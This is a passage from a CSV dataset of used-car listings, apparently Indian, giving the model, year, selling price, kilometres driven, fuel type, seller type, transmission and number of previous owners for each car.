BSIII,2007,135000,74183,Petrol,Individual,Manual,Second Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2015,640000,70000,Diesel,Individual,Manual,Second Owner +Maruti Alto 800 VXI,2014,160000,90000,Petrol,Individual,Manual,First Owner +Tata Indica LXI,2004,80000,46000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2013,340000,110000,Diesel,Individual,Manual,Second Owner +Maruti Ritz VDi,2012,110000,80000,Diesel,Individual,Manual,Second Owner +Tata Sumo Gold EX,2013,250000,90000,Diesel,Individual,Manual,Second Owner +Toyota Innova Crysta 2.4 VX MT BSIV,2017,1300000,70000,Diesel,Individual,Manual,First Owner +Mahindra Quanto C6,2014,250000,1,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 8 Seater BS IV,2009,450000,192000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LX Minor,2013,240000,70000,Petrol,Individual,Manual,Fourth & Above Owner +Mahindra Bolero DI DX 7 Seater,2007,225000,120000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI Optional,2015,275000,60000,Petrol,Individual,Manual,Second Owner +Tata Sumo Victa CX 7/9 Str BSII,2012,320000,120000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX BSIII,2008,75000,120000,Petrol,Individual,Manual,First Owner +Tata Indica GLS BS IV,2007,85000,50000,Petrol,Individual,Manual,Second Owner +Tata Indica Vista Aqua TDI BSIII,2009,90000,120000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2007,85000,80000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio M2DI,2008,350000,80000,Diesel,Individual,Manual,Second Owner +Skoda Superb Elegance 2.0 TDI CR AT,2009,355000,100000,Diesel,Individual,Automatic,Second Owner +Maruti Swift VXI,2020,619000,1500,Petrol,Individual,Manual,First Owner +Jeep Compass 2.0 Longitude Option BSIV,2018,1700000,50000,Diesel,Individual,Manual,First Owner +Tata Indica DL,2006,55000,100000,Diesel,Individual,Manual,Second Owner +Ford Fiesta 1.6 ZXi Leather,2006,95000,83411,Petrol,Individual,Manual,First Owner +Volkswagen Vento Diesel Highline,2011,300000,120000,Diesel,Individual,Manual,Second Owner +Ford Fiesta 1.6 ZXi Leather,2006,81000,83411,Petrol,Individual,Manual,First Owner +Skoda Superb Elegance 2.0 TDI CR AT,2015,1000000,80000,Diesel,Individual,Automatic,Second Owner +Maruti Ertiga VDI,2019,925000,50000,Diesel,Individual,Manual,First Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2015,450000,40000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio EX,2014,600000,13270,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XL AT eRLX Euro III,2006,85000,100000,Petrol,Individual,Automatic,Third Owner +Mahindra Thar DI 4X4 PS,2016,700000,50000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Magna BSIV,2017,486000,26500,Petrol,Individual,Manual,First Owner +Maruti Swift VDI,2013,400000,90000,Diesel,Individual,Manual,First Owner +Ford Fiesta 1.4 Duratec ZXI,2008,120000,100000,Petrol,Individual,Manual,Third Owner +Maruti Alto 800 LXI,2018,275000,35000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta Option 1.4 CRDi,2016,580000,57000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire LXI,2015,375000,70000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV with ABS,2015,229999,100000,Petrol,Individual,Manual,Third Owner +Maruti Alto LX,2010,110000,88000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2017,600000,60000,Diesel,Individual,Manual,First Owner +Maruti A-Star Vxi,2009,120000,76000,Petrol,Individual,Manual,Second Owner +Ford Figo Diesel Titanium,2010,200000,100000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX CRDi (O),2012,450000,110000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX CRDi (O),2012,550000,80000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX,2012,220000,80000,Petrol,Individual,Manual,Second Owner +Maruti 800 EX,2001,40000,30000,Petrol,Individual,Manual,First Owner +Renault KWID Climber 1.0 AMT,2017,300000,20000,Petrol,Individual,Automatic,First Owner +Mahindra Bolero Power Plus SLE,2018,630000,40000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2017,610000,40000,Diesel,Individual,Manual,Second Owner +Hyundai Xcent 1.2 VTVT S,2019,660000,7000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI LPG BSIV,2012,220000,80000,LPG,Individual,Manual,Second Owner +Nissan Micra Diesel XV Premium,2011,138000,90000,Diesel,Individual,Manual,Second Owner +Nissan Micra Diesel XV Premium,2013,210000,13770,Diesel,Individual,Manual,First Owner +Maruti Zen LXi - BS III,2005,125000,34000,Petrol,Dealer,Manual,First Owner +Maruti Alto LXi BSIII,2008,125000,102000,Petrol,Dealer,Manual,First Owner +Honda City i DTEC SV,2014,725000,110000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 2010-2014 VXI,2011,170000,90000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 VX (Diesel) 7 Seater,2015,1200000,70000,Diesel,Individual,Manual,Third Owner +Maruti Wagon R VXI BSIII,2003,70000,90000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi,2007,100000,70000,Petrol,Individual,Manual,Second Owner +Honda Civic 1.8 (E) MT,2006,300000,80000,Petrol,Individual,Manual,Second Owner +Maruti Swift VDI,2013,450000,100000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2015,530000,100000,Diesel,Individual,Manual,First Owner +Maruti Zen Estilo 1.1 LXI BSIII,2007,100000,143000,Petrol,Individual,Manual,Third Owner +Honda City 1.5 V MT,2010,350000,115000,Petrol,Individual,Manual,Second Owner +Tata Manza ELAN Quadrajet BS IV,2011,165000,100000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire ZDI,2019,475000,120000,Diesel,Individual,Manual,Second Owner +Mahindra Xylo E4 ABS BS IV,2013,350000,42000,Diesel,Individual,Manual,First Owner +Renault KWID RXL,2016,229999,38000,Petrol,Individual,Manual,First Owner +Honda WR-V i-DTEC VX,2018,800000,35000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire ZDI,2014,475000,120000,Diesel,Individual,Manual,Second Owner +Nissan Terrano XL 110 PS,2014,425000,136906,Diesel,Individual,Manual,First Owner +Maruti Ciaz VDi Plus,2015,660000,97000,Diesel,Individual,Manual,Second Owner +Honda Amaze S CVT Petrol,2019,610000,10000,Petrol,Individual,Automatic,First Owner +Honda Brio S MT,2013,240000,50000,Petrol,Individual,Manual,Third Owner +Maruti Esteem Lxi,2005,70000,60000,Petrol,Individual,Manual,Second Owner +Toyota Corolla Altis Diesel D4DGL,2011,550000,120000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Aura 1.2 Safire,2010,100000,120000,Petrol,Individual,Manual,Second Owner +Mahindra Bolero SLE,2010,350000,90000,Diesel,Individual,Manual,Second Owner +Hyundai EON Era Plus,2013,200000,120000,Petrol,Individual,Manual,First Owner +Hyundai Elite i20 Asta Option CVT BSIV,2019,720000,3000,Petrol,Individual,Automatic,First Owner +Maruti Ritz VDi,2014,350000,133000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2016,400000,25000,Petrol,Individual,Manual,First Owner +Hyundai i20 Active 1.2 S,2017,570000,35000,Petrol,Individual,Manual,First Owner +Maruti Omni MPI STD BSIV,2015,130000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2016,210000,52000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.4 E Plus,2018,800000,52000,Diesel,Individual,Manual,First Owner +Honda Jazz 1.5 E i DTEC,2017,700000,39000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Quadrajet VX,2011,200000,28689,Diesel,Individual,Manual,First Owner +Tata Aria Pure LX 4x2,2014,495000,90000,Diesel,Individual,Manual,Second Owner +Ford Fiesta Classic 1.4 Duratorq CLXI,2014,325000,80322,Diesel,Dealer,Manual,First Owner +Ford Freestyle Trend Petrol BSIV,2019,650000,8000,Petrol,Individual,Manual,First Owner +Mahindra Jeep MM 775 XDB,2000,155000,50000,Diesel,Individual,Manual,Second Owner +Maruti 800 AC BSIII,2007,75000,90000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 CRDi Magna,2015,350000,61658,Diesel,Dealer,Manual,First Owner +Maruti Zen Estilo LX BSIV,2010,90000,50000,Petrol,Individual,Manual,Third Owner +Maruti Ertiga SHVS VDI,2016,600000,80000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio SLE BSIII,2010,400000,185000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2014,370000,57000,Diesel,Individual,Manual,Second Owner +Maruti 800 DX,2000,50000,60000,Petrol,Individual,Manual,First Owner +Honda City 1.5 GXI,2004,125000,120000,Petrol,Individual,Manual,Second Owner +Honda CR-V Diesel 4WD,2018,1800000,26000,Diesel,Individual,Automatic,First Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2019,650000,20000,Petrol,Individual,Automatic,First Owner +Maruti Ertiga BSIV VXI AT,2017,800000,30600,Petrol,Individual,Automatic,First Owner +Volkswagen Polo 1.0 TSI Highline Plus,2020,802000,5000,Petrol,Individual,Manual,First Owner +Audi A4 35 TDI Premium,2015,2300000,35000,Diesel,Individual,Automatic,Third Owner +Hyundai Xcent 1.1 CRDi SX,2016,430000,35000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 SX VTVT,2017,650000,23000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio 2.6 SLX Turbo 7 Seater,2004,170000,120000,Diesel,Individual,Manual,First Owner +Skoda Superb Elegance 2.0 TDI CR AT,2011,450000,235000,Diesel,Individual,Automatic,First Owner +Maruti Alto 800 LXI,2013,250000,87000,Petrol,Individual,Manual,First Owner +Ford Ecosport 1.0 Ecoboost Titanium,2014,550000,72000,Petrol,Individual,Manual,Second Owner +Jaguar XF 3.0 Litre S Premium Luxury,2013,2000000,64000,Diesel,Individual,Automatic,Second Owner +Maruti Zen Estilo VXI BSIII,2007,140000,100000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat LT,2012,155000,12000,Petrol,Individual,Manual,First Owner +Hyundai Accent Executive,2010,120000,67000,Petrol,Individual,Manual,Third Owner +Toyota Innova 2.5 E 8 STR,2012,287000,70000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.3,2016,675000,60000,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna 1.2 iTech SE,2011,235000,74500,Petrol,Individual,Manual,Second Owner +Hyundai i20 1.4 CRDi Asta,2011,300000,118700,Diesel,Individual,Manual,Second Owner +Nissan Micra XL CVT,2015,434999,40000,Petrol,Individual,Automatic,Second Owner +Mahindra Scorpio VLX AT 2WD BSIII,2004,225000,223660,Diesel,Individual,Automatic,Third Owner +Toyota Corolla AE,2006,160000,140000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 Nios Sportz,2020,600000,5000,Petrol,Individual,Manual,First Owner +Chevrolet Tavera Neo 3 LT 9 Seats BSIII,2016,470000,100000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VXi,2011,300000,100000,Petrol,Individual,Manual,Second Owner +Maruti Baleno Delta 1.2,2018,600000,2000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 Nios AMT Magna,2020,640000,4000,Petrol,Individual,Automatic,First Owner +Tata Indica DLS,2006,50000,120000,Diesel,Individual,Manual,Fourth & Above Owner +Hyundai Verna 1.6 VTVT S,2015,600000,35000,Petrol,Individual,Manual,First Owner +Hyundai i10 Magna LPG,2014,290000,29000,LPG,Individual,Manual,First Owner +Hyundai Verna 1.6 VTVT S,2015,600000,30000,Petrol,Individual,Manual,First Owner +Tata Manza Aqua Quadrajet BS IV,2012,190000,120000,Diesel,Individual,Manual,First Owner +Hyundai i10 Era 1.1,2008,160000,110000,Petrol,Individual,Manual,Third Owner +Maruti Alto K10 VXI,2017,325000,15000,Petrol,Individual,Manual,First Owner +Mahindra Bolero DI,2006,200000,73756,Diesel,Individual,Manual,First Owner +Toyota Fortuner 2.8 2WD AT BSIV,2018,2800000,40000,Diesel,Individual,Automatic,First Owner +Chevrolet Spark 1.0 LS,2011,125000,60000,Petrol,Individual,Manual,Third Owner +Hyundai i10 Magna 1.1,2008,155000,60000,Petrol,Individual,Manual,Fourth & Above Owner +Hyundai i20 Asta 1.4 CRDi,2015,550000,90000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LX BSIII,2009,130000,70000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti 800 AC,2002,80000,70000,Petrol,Individual,Manual,Second Owner +Toyota Etios Cross 1.4L GD,2015,500000,80000,Diesel,Individual,Manual,Second Owner +Renault KWID RXT BSIV,2019,250000,27000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 2WD,2012,580000,70000,Diesel,Individual,Manual,First Owner +Daewoo Matiz SD,2002,60000,50000,Petrol,Individual,Manual,First Owner +Toyota Etios GD,2012,300000,185000,Diesel,Individual,Manual,First Owner +Ford Figo Diesel Titanium,2014,200000,90000,Diesel,Individual,Manual,Second Owner +Tata Hexa XT,2017,1200000,16400,Diesel,Individual,Manual,First Owner +Toyota Etios Cross 1.4L GD,2015,350000,80000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W8 4WD,2012,600000,80000,Diesel,Individual,Manual,Second Owner +Honda Jazz V,2019,650000,4000,Petrol,Individual,Manual,First Owner +Maruti A-Star Lxi,2008,120000,40000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2010,180000,120000,Diesel,Individual,Manual,Second Owner +Hyundai Verna VTVT 1.6 AT SX Option,2018,950000,41395,Petrol,Individual,Automatic,First Owner +Tata Manza Aura Quadrajet BS IV,2012,250999,35000,Diesel,Individual,Manual,Second Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Audi A8 L 3.0 TDI quattro,2009,1250000,47000,Diesel,Dealer,Automatic,Second Owner +Chevrolet Beat LT,2013,165000,50000,Petrol,Individual,Manual,First Owner +Hyundai Elantra SX,2015,700000,48000,Petrol,Dealer,Manual,First Owner +Mahindra XUV500 W8 4WD,2015,750000,53000,Diesel,Dealer,Manual,First Owner +Mahindra Renault Logan 1.5 DLS,2008,89999,213000,Diesel,Individual,Manual,First Owner +Datsun redi-GO AMT 1.0 T Option,2018,290000,15000,Petrol,Dealer,Automatic,First Owner +Tata Nano Cx BSIII,2014,45000,7000,Petrol,Individual,Manual,Second Owner +Skoda Superb Ambition 2.0 TDI CR AT,2013,675000,88000,Diesel,Dealer,Automatic,First Owner +Nissan Terrano XL Plus 85 PS,2015,530000,55000,Diesel,Dealer,Manual,First Owner +BMW X1 sDrive20d M Sport,2014,1485000,48000,Diesel,Dealer,Automatic,First Owner +Chevrolet Enjoy TCDi LT 7 Seater,2014,325000,71014,Diesel,Dealer,Manual,First Owner +Honda Amaze S Diesel,2015,400000,60000,Diesel,Dealer,Manual,First Owner +Mahindra KUV 100 D75 K6 Plus,2017,380000,71000,Diesel,Dealer,Manual,First Owner +Honda City i-VTEC CVT VX,2016,750000,45000,Petrol,Dealer,Automatic,First Owner +Honda Brio VX,2017,390000,45000,Petrol,Dealer,Manual,First Owner +Maruti Alto LXi,2009,110000,20000,Petrol,Individual,Manual,First Owner +MG Hector Sharp Diesel MT BSIV,2019,1825000,14000,Diesel,Dealer,Manual,First Owner +Audi A4 35 TDI Premium Plus,2019,3256000,17000,Diesel,Dealer,Automatic,First Owner +Renault Scala Diesel RxL,2015,370000,60000,Diesel,Dealer,Manual,First Owner +Chevrolet Beat Diesel LT,2013,210000,80000,Diesel,Individual,Manual,Second Owner +Skoda Laura Ambiente 1.9 PD,2007,175000,181000,Diesel,Individual,Manual,Fourth & Above Owner +Hyundai Verna 1.6 SX CRDi (O),2012,575000,89550,Diesel,Individual,Manual,Second Owner +Mahindra Xylo D4,2010,320000,90000,Diesel,Individual,Manual,Third Owner +Maruti Swift Ldi BSIV,2010,280000,149500,Diesel,Individual,Manual,Third Owner +Renault Duster 85PS Diesel RxL Optional,2013,500000,190000,Diesel,Individual,Manual,Second Owner +Ford Fiesta Diesel Style,2013,380000,83000,Diesel,Dealer,Manual,First Owner +Maruti 800 AC BSIII,2005,120000,20000,Petrol,Individual,Manual,Second Owner +Maruti Eeco 5 Seater AC BSIV,2018,395000,20000,Petrol,Individual,Manual,First Owner +Skoda Laura 1.9 TDI MT Ambiente,2010,360000,160000,Diesel,Individual,Manual,First Owner +Nissan Terrano XL Plus 85 PS,2015,451000,100000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0 LS,2010,175000,45000,Petrol,Individual,Manual,Second Owner +Chevrolet Spark 1.0 LS,2009,170000,44800,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XL eRLX Euro III,2006,100000,40000,Petrol,Individual,Manual,Second Owner +Maruti Omni MPI STD BSIV,2014,150000,120000,Petrol,Individual,Manual,Third Owner +Tata Indica Vista Quadrajet LX,2011,149000,10000,Diesel,Individual,Manual,Second Owner +Tata Indica Vista Aqua 1.3 Quadrajet,2011,160000,80000,Diesel,Individual,Manual,Second Owner +Datsun GO Plus T Option Petrol,2018,434999,10000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 4WD,2014,800000,156000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 VX (Diesel) 7 Seater BS IV,2010,819999,120000,Diesel,Individual,Manual,Second Owner +Maruti Baleno Vxi,2007,163000,100000,Petrol,Individual,Manual,Second Owner +Mercedes-Benz E-Class 220 CDI,2001,350000,100000,Diesel,Individual,Manual,Second Owner +Tata Indica GLS BS IV,2006,75000,100000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi,2012,180000,60000,Petrol,Individual,Manual,Second Owner +Ford Figo Aspire 1.5 TDCi Trend,2017,675000,30000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI,2013,400000,170000,Diesel,Individual,Manual,First Owner +Volkswagen Polo Diesel Highline 1.2L,2013,434999,100000,Diesel,Individual,Manual,Second Owner +Tata Indigo GLX,2006,100000,110000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire LDI Optional,2015,419000,170000,Diesel,Individual,Manual,Second Owner +Tata Indica GLS BS IV,2009,200000,100000,Petrol,Individual,Manual,First Owner +Renault Scala Diesel RxL,2014,400000,35000,Diesel,Individual,Manual,First Owner +Ford EcoSport 1.5 Diesel Ambiente BSIV,2018,790000,40000,Diesel,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL Plus,2015,500000,90000,Diesel,Individual,Manual,Second Owner +Skoda Rapid 1.6 TDI Elegance,2012,275000,120000,Diesel,Individual,Manual,Second Owner +Hyundai i20 1.4 CRDi Sportz,2012,450000,120000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W11 Option AWD,2020,1400000,25000,Diesel,Dealer,Manual,First Owner +Renault Duster 110PS Diesel RxL,2015,800000,15000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI,2014,315000,41000,Petrol,Dealer,Manual,First Owner +Maruti Baleno Alpha,2019,700000,16000,Petrol,Individual,Manual,First Owner +Mahindra Bolero SLX,2016,585000,51000,Diesel,Dealer,Manual,First Owner +Chevrolet Sail 1.2 LT ABS,2014,350000,30000,Petrol,Individual,Manual,First Owner +Honda City i-DTEC SV,2014,495000,80000,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2017,500000,50000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz Option,2013,345000,44000,Petrol,Dealer,Manual,First Owner +Maruti Baleno Sigma 1.2,2015,500000,10000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI,2016,360000,33000,Petrol,Dealer,Manual,First Owner +Maruti Alto LXi BSIII,2010,210000,25000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 LXI,2014,220000,66000,Petrol,Dealer,Manual,First Owner +Chevrolet Aveo 1.4 LT BSIV,2009,250000,48000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2016,990000,146000,Diesel,Dealer,Manual,First Owner +Mahindra Quanto C4,2013,220000,100000,Diesel,Individual,Manual,Fourth & Above Owner +Jaguar XF 3.0 Litre S Premium Luxury,2012,1800000,50000,Diesel,Individual,Automatic,Second Owner +Honda City i VTEC V,2014,530000,50000,Petrol,Individual,Manual,First Owner +Maruti Baleno Alpha 1.3,2016,575000,50000,Diesel,Individual,Manual,First Owner +Mahindra Xylo E4,2012,400000,99000,Diesel,Dealer,Manual,First Owner +Honda Mobilio S i DTEC,2016,680000,50000,Diesel,Individual,Manual,First Owner +Hyundai Santa Fe 4WD AT,2014,1000000,80000,Diesel,Individual,Automatic,First Owner +Maruti Alto 800 LXI,2016,260000,45000,Petrol,Individual,Manual,Second Owner +Tata Manza Aura (ABS) Safire BS IV,2010,150000,50000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi BSIII,2008,180000,70000,Petrol,Individual,Manual,Third Owner +Force One EX,2014,346000,37516,Diesel,Individual,Manual,First Owner +Mahindra Xylo D2 BS IV,2015,450000,20000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz BSIV,2019,500000,5000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 CRDi Asta,2019,700000,8000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2019,280000,25880,Petrol,Individual,Manual,First Owner +Hyundai Santro Magna AMT BSIV,2019,475000,10000,Petrol,Individual,Automatic,First Owner +Maruti Swift Dzire VDi,2009,300000,50000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 LXI,2014,200999,40000,Petrol,Individual,Manual,First Owner +Skoda Laura 1.9 TDI MT Ambiente,2009,200000,100000,Diesel,Individual,Manual,Third Owner +Chevrolet Aveo U-VA 1.2 LS,2009,210000,80000,Petrol,Individual,Manual,Second Owner +Tata Indigo LS BSII,2012,160000,110000,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi SX ABS,2009,175000,136000,Diesel,Individual,Manual,Second Owner +Tata New Safari DICOR 2.2 GX 4x2 BS IV,2012,320000,80000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2009,110000,50000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI Minor,2008,300000,30000,Petrol,Individual,Manual,First Owner +Honda City V MT,2012,700000,10000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aura 1.3 Quadrajet,2009,135000,90000,Diesel,Individual,Manual,Fourth & Above Owner +Mahindra Bolero Power Plus Plus Non AC BSIV PS,2015,500000,110000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLX 2WD AIRBAG BSIV,2012,550000,120000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 Z Diesel 7 Seater BS IV,2014,1050000,90000,Diesel,Individual,Manual,Third Owner +Honda City i VTEC V,2016,500000,20000,Petrol,Individual,Manual,First Owner +Maruti Ritz VDi,2011,180000,90000,Diesel,Individual,Manual,Second Owner +Hyundai Santro Xing GLS,2010,170000,50000,Petrol,Individual,Manual,Second Owner +Honda Brio 1.2 S Option MT,2019,484999,9000,Petrol,Individual,Manual,First Owner +Maruti A-Star Vxi,2011,150000,70000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 VXI Airbag,2018,380000,25000,Petrol,Individual,Manual,First Owner +Hyundai Santro Sportz BSIV,2019,480000,10000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aura 1.3 Quadrajet,2009,135000,90000,Diesel,Individual,Manual,Fourth & Above Owner +Volkswagen Polo Diesel Highline 1.2L,2011,290000,60000,Diesel,Individual,Manual,Second Owner +Fiat Linea Dynamic,2013,350000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2014,110000,25000,Petrol,Individual,Manual,First Owner +Hyundai Santro LE zipPlus,2003,70000,80000,Petrol,Individual,Manual,Third Owner +Volkswagen Vento Petrol Highline AT,2011,300000,70000,Petrol,Individual,Automatic,Third Owner +Maruti Alto 800 LX,2017,180000,60000,Petrol,Individual,Manual,First Owner +Renault KWID RXL,2020,300000,20000,Petrol,Individual,Manual,First Owner +Maruti Baleno Delta 1.2,2017,509000,60000,Petrol,Individual,Manual,First Owner +Maruti SX4 S Cross DDiS 320 Zeta,2016,650000,80000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2015,450000,70000,Diesel,Individual,Manual,Third Owner +Mahindra Jeep Classic,1999,170000,2020,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio 2.6 Turbo 7 Str,2007,210000,100000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Asta 1.4 CRDi,2013,360000,80000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 GX (Diesel) 7 Seater BS IV,2011,495000,120000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX,2006,105000,100000,Petrol,Individual,Manual,Third Owner +Hyundai i20 Magna,2010,270000,60000,Petrol,Individual,Manual,Third Owner +Ford Figo Petrol LXI,2010,130000,110000,Petrol,Individual,Manual,First Owner +Honda City i DTEC S,2014,700000,90000,Diesel,Individual,Manual,Second Owner +Chevrolet Cruze LTZ,2012,400000,40000,Diesel,Individual,Manual,First Owner +Maruti Swift ZXI ABS,2009,250000,60000,Petrol,Individual,Manual,Second Owner +Honda Amaze VX i-DTEC,2013,325000,94000,Diesel,Individual,Manual,Second Owner +Maruti Alto LXi,2008,69000,100000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio S11 BSIV,2018,1380000,25000,Diesel,Individual,Manual,First Owner +Maruti Zen Estilo VXI BSIII,2007,90000,90000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W6 1.99 mHawk,2016,1000000,40000,Diesel,Individual,Manual,First Owner +Hyundai Accent GLE CNG,2010,145000,90000,CNG,Individual,Manual,Second Owner +Maruti Alto K10 LX,2020,250000,1100,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Swift VDI,2011,256000,70000,Diesel,Individual,Manual,Third Owner +Tata Indica DLS,2005,70000,120000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VX,2000,50000,88500,Petrol,Individual,Manual,Fourth & Above Owner +Renault KWID RXT,2016,240000,70000,Petrol,Individual,Manual,Second Owner +Tata Indica Vista Aqua 1.2 Safire BSIV,2010,97000,128000,Petrol,Individual,Manual,First Owner +Tata Indigo CR4,2012,130000,120000,Diesel,Individual,Manual,First Owner +Maruti Swift 1.3 VXi,2009,199000,52536,Petrol,Individual,Manual,First Owner +Honda Civic 1.8 S AT,2006,125000,70000,Petrol,Individual,Automatic,First Owner +Hyundai Xcent 1.1 CRDi Base,2015,420000,60000,Diesel,Individual,Manual,First Owner +Mahindra NuvoSport N8,2016,525000,110000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2008,125000,85000,Petrol,Individual,Manual,First Owner +Hyundai Verna Transform CRDi VGT SX ABS,2010,325000,135000,Diesel,Individual,Manual,First Owner +Volkswagen Vento New Diesel Highline,2012,330000,86000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Wagon R LXI BS IV,2010,110000,50000,Petrol,Individual,Manual,First Owner +Maruti S-Presso VXI Plus,2019,450000,1950,Petrol,Individual,Manual,First Owner +Maruti Swift 1.3 VXi,2005,85000,118400,Petrol,Individual,Manual,First Owner +Honda Civic 1.8 S MT,2007,229999,70000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Magna,2012,250000,60000,Petrol,Individual,Manual,Second Owner +Ford Ecosport 1.5 DV5 MT Titanium,2015,650000,68000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Toyota Etios Liva 1.2 VX,2017,650000,6480,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Vitara Brezza VDi,2017,750000,32077,Diesel,Trustmark Dealer,Manual,First Owner +Toyota Yaris G,2018,850000,19107,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai EON Era Plus Option,2017,315000,18469,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift LXI Option,2015,415000,28217,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ciaz ZDi Plus,2016,640000,72787,Diesel,Trustmark Dealer,Manual,First Owner +Maruti Ciaz 1.4 Alpha,2017,780000,31063,Petrol,Trustmark Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2595000,79641,Diesel,Trustmark Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2015,850000,58692,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai Creta 1.6 CRDi SX,2015,900000,54784,Diesel,Trustmark Dealer,Manual,First Owner +Toyota Corolla Altis GL MT,2016,1150000,64156,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Esteem Lxi - BSIII,2007,75000,54000,Petrol,Individual,Manual,First Owner +Volkswagen Vento Diesel Comfortline,2012,215000,97000,Diesel,Individual,Manual,First Owner +Maruti SX4 ZXI AT,2009,130000,120000,Petrol,Individual,Automatic,Second Owner +Hyundai Santro Magna AMT BSIV,2019,400000,16000,Petrol,Individual,Automatic,First Owner +Maruti Swift Dzire AMT ZXI,2019,550000,60000,Petrol,Individual,Automatic,First Owner +Chevrolet Beat LT,2016,245000,52000,Petrol,Dealer,Manual,First Owner +Maruti Swift VDI BSIV,2010,320000,110000,Diesel,Individual,Manual,Fourth & Above Owner +Mahindra TUV 300 T8 AMT,2016,730000,60000,Diesel,Individual,Automatic,Second 